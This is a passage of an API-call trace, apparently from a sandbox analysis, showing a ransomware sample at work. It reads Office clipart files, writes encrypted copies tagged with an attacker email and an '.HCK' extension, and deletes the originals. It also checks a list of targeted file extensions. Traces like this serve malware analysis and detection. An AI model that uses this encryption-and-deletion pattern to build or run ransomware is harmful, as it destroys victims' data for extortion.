lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.669] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.669] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.670] GetLastError () returned 0x0 [0241.670] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x745c, lpOverlapped=0x0) returned 1 [0241.672] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x7460, lpOverlapped=0x0) returned 1 [0241.673] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.674] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.674] SetEndOfFile (hFile=0x3bc) returned 1 [0241.674] CloseHandle (hObject=0x3bc) returned 1 [0241.674] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.674] SetEndOfFile (hFile=0x4cc) returned 1 [0241.676] CloseHandle (hObject=0x4cc) returned 1 [0241.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 1 [0241.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.679] lstrlenW (lpString=".doc") returned 4 [0241.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.679] lstrlenW (lpString=".docx") returned 5 [0241.679] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0241.679] lstrlenW (lpString=".pdf") returned 4 [0241.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.679] lstrlenW (lpString=".xls") returned 4 [0241.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.679] lstrlenW (lpString=".xlsx") returned 5 [0241.679] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0241.679] lstrlenW (lpString=".ppt") returned 4 [0241.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.679] lstrlenW (lpString=".zip") returned 4 [0241.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.679] lstrlenW (lpString=".rar") returned 4 [0241.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.679] lstrlenW (lpString=".bz2") returned 4 [0241.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.679] lstrlenW (lpString=".7z") returned 3 [0241.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.679] lstrlenW (lpString=".dbf") returned 4 [0241.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.679] lstrlenW (lpString=".1cd") returned 4 [0241.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.679] lstrlenW (lpString=".jpg") returned 4 [0241.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.680] lstrlenW (lpString=".doc") returned 4 [0241.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.680] lstrlenW (lpString=".docx") returned 5 [0241.680] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0241.680] lstrlenW (lpString=".pdf") returned 4 [0241.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.680] lstrlenW (lpString=".xls") returned 4 [0241.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.680] lstrlenW (lpString=".xlsx") returned 5 [0241.680] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0241.680] lstrlenW (lpString=".ppt") returned 4 [0241.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.680] lstrlenW (lpString=".zip") returned 4 [0241.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.680] lstrlenW (lpString=".rar") returned 4 [0241.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.680] lstrlenW (lpString=".bz2") returned 4 [0241.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.680] lstrlenW (lpString=".7z") returned 3 [0241.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.680] lstrlenW (lpString=".dbf") returned 4 [0241.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.680] lstrlenW (lpString=".1cd") returned 4 [0241.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0241.680] lstrlenW (lpString=".jpg") returned 4 [0241.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.680] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.681] lstrlenW (lpString="J0183174.WMF") returned 12 [0241.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.682] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=28626) returned 1 [0241.682] CloseHandle (hObject=0x4cc) returned 1 [0241.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 0x220 [0241.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.683] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.683] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.685] GetLastError () returned 0x0 [0241.685] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x6fd2, lpOverlapped=0x0) returned 1 [0241.687] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x6fe0, lpOverlapped=0x0) returned 1 [0241.688] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.688] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.688] SetEndOfFile (hFile=0x3bc) returned 1 [0241.688] CloseHandle (hObject=0x3bc) returned 1 [0241.688] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.688] SetEndOfFile (hFile=0x4cc) returned 1 [0241.690] CloseHandle (hObject=0x4cc) returned 1 [0241.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 1 [0241.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.692] lstrlenW (lpString=".doc") returned 4 [0241.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString=".docx") returned 5 [0241.692] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0241.692] lstrlenW (lpString=".pdf") returned 4 [0241.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString=".xls") returned 4 [0241.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.692] lstrlenW (lpString=".xlsx") returned 5 [0241.692] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0241.692] lstrlenW (lpString=".ppt") returned 4 [0241.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.692] lstrlenW (lpString=".zip") returned 4 [0241.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.692] lstrlenW (lpString=".rar") returned 4 [0241.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString=".bz2") returned 4 [0241.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString=".7z") returned 3 [0241.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.692] lstrlenW (lpString=".dbf") returned 4 [0241.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.692] lstrlenW (lpString=".1cd") returned 4 [0241.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.692] lstrlenW (lpString=".jpg") returned 4 [0241.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.692] lstrlenW (lpString=".doc") returned 4 [0241.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.692] lstrlenW (lpString=".docx") returned 5 [0241.692] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0241.693] lstrlenW (lpString=".pdf") returned 4 [0241.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.693] lstrlenW (lpString=".xls") returned 4 [0241.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.693] lstrlenW (lpString=".xlsx") returned 5 [0241.693] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0241.693] lstrlenW (lpString=".ppt") returned 4 [0241.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.693] lstrlenW (lpString=".zip") returned 4 [0241.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.693] lstrlenW (lpString=".rar") returned 4 [0241.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.693] lstrlenW (lpString=".bz2") returned 4 [0241.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.693] lstrlenW (lpString=".7z") returned 3 [0241.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.693] lstrlenW (lpString=".dbf") returned 4 [0241.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.693] lstrlenW (lpString=".1cd") returned 4 [0241.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0241.693] lstrlenW (lpString=".jpg") returned 4 [0241.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.693] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.693] lstrlenW (lpString="J0183198.WMF") returned 12 [0241.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.694] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=24430) returned 1 [0241.694] CloseHandle (hObject=0x4cc) returned 1 [0241.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 0x220 [0241.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.695] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.695] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.696] GetLastError () returned 0x0 [0241.696] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x5f6e, lpOverlapped=0x0) returned 1 [0241.829] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x5f70, lpOverlapped=0x0) returned 1 [0241.911] ReadFile (in: hFile=0x4cc, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.911] WriteFile (in: hFile=0x3bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.912] SetEndOfFile (hFile=0x3bc) returned 1 [0241.912] CloseHandle (hObject=0x3bc) returned 1 [0241.912] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.912] SetEndOfFile (hFile=0x4cc) returned 1 [0241.914] CloseHandle (hObject=0x4cc) returned 1 [0241.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 1 [0241.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.916] lstrlenW (lpString=".doc") returned 4 [0241.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString=".docx") returned 5 [0241.916] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0241.916] lstrlenW (lpString=".pdf") returned 4 [0241.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString=".xls") returned 4 [0241.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.916] lstrlenW (lpString=".xlsx") returned 5 [0241.916] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0241.916] lstrlenW (lpString=".ppt") returned 4 [0241.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.916] lstrlenW (lpString=".zip") returned 4 [0241.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.916] lstrlenW (lpString=".rar") returned 4 [0241.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString=".bz2") returned 4 [0241.916] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString=".7z") returned 3 [0241.916] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.916] lstrlenW (lpString=".dbf") returned 4 [0241.916] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.916] lstrlenW (lpString=".1cd") returned 4 [0241.916] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.916] lstrlenW (lpString=".jpg") returned 4 [0241.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.916] lstrlenW (lpString=".doc") returned 4 [0241.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString=".docx") returned 5 [0241.916] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0241.916] lstrlenW (lpString=".pdf") returned 4 [0241.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.916] lstrlenW (lpString=".xls") returned 4 [0241.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.917] lstrlenW (lpString=".xlsx") returned 5 [0241.917] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0241.917] lstrlenW (lpString=".ppt") returned 4 [0241.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.917] lstrlenW (lpString=".zip") returned 4 [0241.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.917] lstrlenW (lpString=".rar") returned 4 [0241.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.917] lstrlenW (lpString=".bz2") returned 4 [0241.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.917] lstrlenW (lpString=".7z") returned 3 [0241.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.917] lstrlenW (lpString=".dbf") returned 4 [0241.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.917] lstrlenW (lpString=".1cd") returned 4 [0241.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0241.917] lstrlenW (lpString=".jpg") returned 4 [0241.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.917] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.917] lstrlenW (lpString="J0183574.WMF") returned 12 [0241.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.918] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19274) returned 1 [0241.919] CloseHandle (hObject=0x4cc) returned 1 [0241.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf")) returned 0x220 [0241.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0241.919] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.919] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.919] CreateFileW 